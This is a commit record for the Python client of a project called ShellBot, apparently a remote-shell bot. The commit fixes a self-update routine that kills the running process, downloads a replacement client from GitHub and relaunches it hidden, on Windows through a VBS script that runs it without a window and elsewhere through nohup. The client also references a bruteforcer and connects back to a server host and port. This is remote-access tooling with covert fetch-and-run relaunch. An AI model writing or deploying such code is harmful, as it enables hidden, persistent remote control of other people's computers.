<commit_before>#!/usr/bin/env python3

## MIT License
##
## Copyright (c) 2017 <NAME>
##
## Permission is hereby granted, free of charge, to any person obtaining a copy
## of this software and associated documentation files (the "Software"), to
## deal in the Software without restriction, including without limitation the
## rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
## sell copies of the Software, and to permit persons to whom the Software is
## furnished to do so, subject to the following conditions:
##
## The above copyright notice and this permission notice shall be included in
## all copies or substantial portions of the Software.
##
## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
## IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
## FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
## AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
## LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
## FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
## IN THE SOFTWARE.

import subprocess, os, sys, time, threading, smtplib, random, fnmatch, tempfile
from socket import *
from threading import Thread

if (len(sys.argv) == 3):
    host = sys.argv[1]
    port = int(sys.argv[2])
else:
    # Comment the below line and uncomment the next two for a pre-packaged client.
    #sys.exit("Usage: client.py <server ip> <server port>")
    print("Usage: client.py <server ip> <server port>")
    host = '127.0.0.1'
    port = 9999
    print("Using default values - {}:{}".format(host,port))

frozen = getattr(sys, 'frozen', False)

# Used by the Bruteforcer
def product(*args, **kwds):
    pools = list(map(tuple, args)) * kwds.get('repeat', 1)
    result = [[]]
    for pool in pools:
        result = [x+[y] for x in result for y in pool]
    for prod in result:
        yield tuple(prod)

def repeat(object, times=None):
    if times is None:
        while True:
            yield object
    else:
        for i in range(times):
            yield object

# Self Update
temporary = """\
#!/usr/bin/env python3
import os, sys, urllib.request, tempfile

def getURL(owner, repo, name):
    import json

    response = urllib.request.urlopen('https://api.github.com/repos/%s/%s/releases/latest'.%(owner, repo))

    json_val = json.loads(response.read().decode())

    for file in json_val['assets']:
        if name == file['name']: return file['browser_download_url']

def download(url, file):
    import shutil

    with urllib.request.urlopen(url) as response, open(file, 'wb') as out_file:
        shutil.copyfileobj(response, out_file)

if sys.platform == "win32": os.system("taskkill /PID {pid} /F")
else: os.system("kill {pid}")

if {frozen}:
    download(url, "{exe}")
    url = getURL('sayak-brm', 'ShellBot', 'client.exe')
else:
    download(url, "{arg}")
    url = getURL('sayak-brm', 'ShellBot', 'client.py')

if sys.platform == "win32":
    if {frozen}: os.system("{exe} {host} {port}")
    else:
        runner = 'CreateObject("WScript.Shell").Run WScript.Arguments(0), 0'
        with open(tempfile.gettempdir() + "/runner.vbs", "w") as f: f.write(runner)
        os.system(tempfile.gettempdir() + '/runner.vbs "{exe} {arg} {host} {port}"')
else: os.system("nohup {exe} {arg} {host} {port} > /dev/null 2>&1 &")
""".format(pid=os.getpid(), frozen=frozen, host=host, port=port, exe=sys.executable, arg=sys.argv[0])

def selfUpdate():
    while 1:
        filename = "%d.py" % random.randint(1, 1000)
        if (not os.path.exists(filename)): break

    with open(filename, "w") as f:
        f.write(temporary)

    if sys.platform == "win32":
        runner = 'CreateObject("WScript.Shell").Run WScript.Arguments(0), 0'
        with open(tempfile.gettempdir() + "/runner.vbs", "w") as f: f.write(runner)
        os.system(tempfile.gettempdir() + '/runner.vbs "{exe} {arg} {host} {port}"'.format(host=host, port=port, exe=sys.executable, arg=sys.argv[0]))
    else: os.system("nohup {exe} {arg} {host} {port} > /dev/null 2>&1 &".format(host=host, port=port, exe=sys.executable, arg=sys.argv[0]))<commit_msg>Bug fixes in self-update<commit_after>#!/usr/bin/env python3

## MIT License
##
## Copyright (c) 2017 <NAME>
##
## Permission is hereby granted, free of charge, to any person obtaining a copy
## of this software and associated documentation files (the "Software"), to
## deal in the Software without restriction, including without limitation the
## rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
## sell copies of the Software, and to permit persons to whom the Software is
## furnished to do so, subject to the following conditions:
##
## The above copyright notice and this permission notice shall be included in
## all copies or substantial portions of the Software.
##
## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
## IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
## FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
## AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
## LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
## FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
## IN THE SOFTWARE.

import subprocess, os, sys, time, threading, smtplib, random, fnmatch, tempfile
from socket import *
from threading import Thread

if (len(sys.argv) == 3):
    host = sys.argv[1]
    port = int(sys.argv[2])
else:
    # Comment the below line and uncomment the next two for a pre-packaged client.
    #sys.exit("Usage: client.py <server ip> <server port>")
    print("Usage: client.py <server ip> <server port>")
    host = '127.0.0.1'
    port = 9999
    print("Using default values - {}:{}".format(host,port))

frozen = getattr(sys, 'frozen', False)

# Used by the Bruteforcer
def product(*args, **kwds):
    pools = list(map(tuple, args)) * kwds.get('repeat', 1)
    result = [[]]
    for pool in pools:
        result = [x+[y] for x in result for y in pool]
    for prod in result:
        yield tuple(prod)

def repeat(object, times=None):
    if times is None:
        while True:
            yield object
    else:
        for i in range(times):
            yield object

# Self Update
temporary = """\
#!/usr/bin/env python3
import os, sys, urllib.request, tempfile

def getURL(owner, repo, name):
    import json

    response = urllib.request.urlopen('https://api.github.com/repos/%s/%s/releases/latest'%(owner, repo))

    json_val = json.loads(response.read().decode())

    for file in json_val['assets']:
        if name == file['name']: return file['browser_download_url']

def download(url, file):
    import shutil

    with urllib.request.urlopen(url) as response, open(file, 'wb') as out_file:
        shutil.copyfileobj(response, out_file)

if sys.platform == "win32": os.system("taskkill /PID {pid} /F")
else: os.system("kill {pid}")

if {frozen}:
    url = getURL('sayak-brm', 'ShellBot', 'client.exe')
    download(url, r"{exe}")
else:
    url = getURL('sayak-brm', 'ShellBot', 'client.py')
    download(url, r"{arg}")

if sys.platform == "win32":
    if {frozen}: os.system(r"{exe} {host} {port}")
    else:
        runner = 'CreateObject("WScript.Shell").Run WScript.Arguments(0), 0'
        with open(tempfile.gettempdir() + r"/runner.vbs", "w") as f: f.write(runner)
        os.system(tempfile.gettempdir() + r'/runner.vbs "{exe} {arg} {host} {port}"')
else: os.system(r"nohup {exe} {arg} {host} {port} > /dev/null 2>&1 &")
""".format(pid=os.getpid(), frozen=frozen, host=host, port=port, exe=sys.executable, arg=sys.argv[0])

def selfUpdate():
    while 1:
        filename = "%d.py" % random.randint(1, 1000)
        if (not os.path.exists(filename)): break

    with open(filename, "w") as f:
        f.write(temporary)

    if sys.platform == "win32":
        runner = 'CreateObject("WScript.Shell").Run WScript.Arguments(0), 0'
        with open(tempfile.gettempdir() + "/runner.vbs", "w") as f: f.write(runner)
        os.system(tempfile.gettempdir() + '/runner.vbs "{exe} {arg} {host} {port}"'.format(host=host, port=port, exe=sys.executable, arg=sys.argv[0]))
    else: os.system("nohup {exe} {arg} {host} {port} > /dev/null 2>&1 &".format(host=host, port=port, exe=sys.executable, arg=sys.argv[0]))
{'fraction_non_alphanumeric': 0.1477434679334917, 'fraction_numerical': 0.010213776722090262, 'mean_word_length': 3.7468996617812853, 'pattern_counts': {'":': 6, '<': 13, '<?xml version=': 0, '>': 21, 'https://': 2, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 2, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 8, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '3155168', 'n_tokens_mistral': 2818, 'n_tokens_neox': 2699, 'n_words': 894}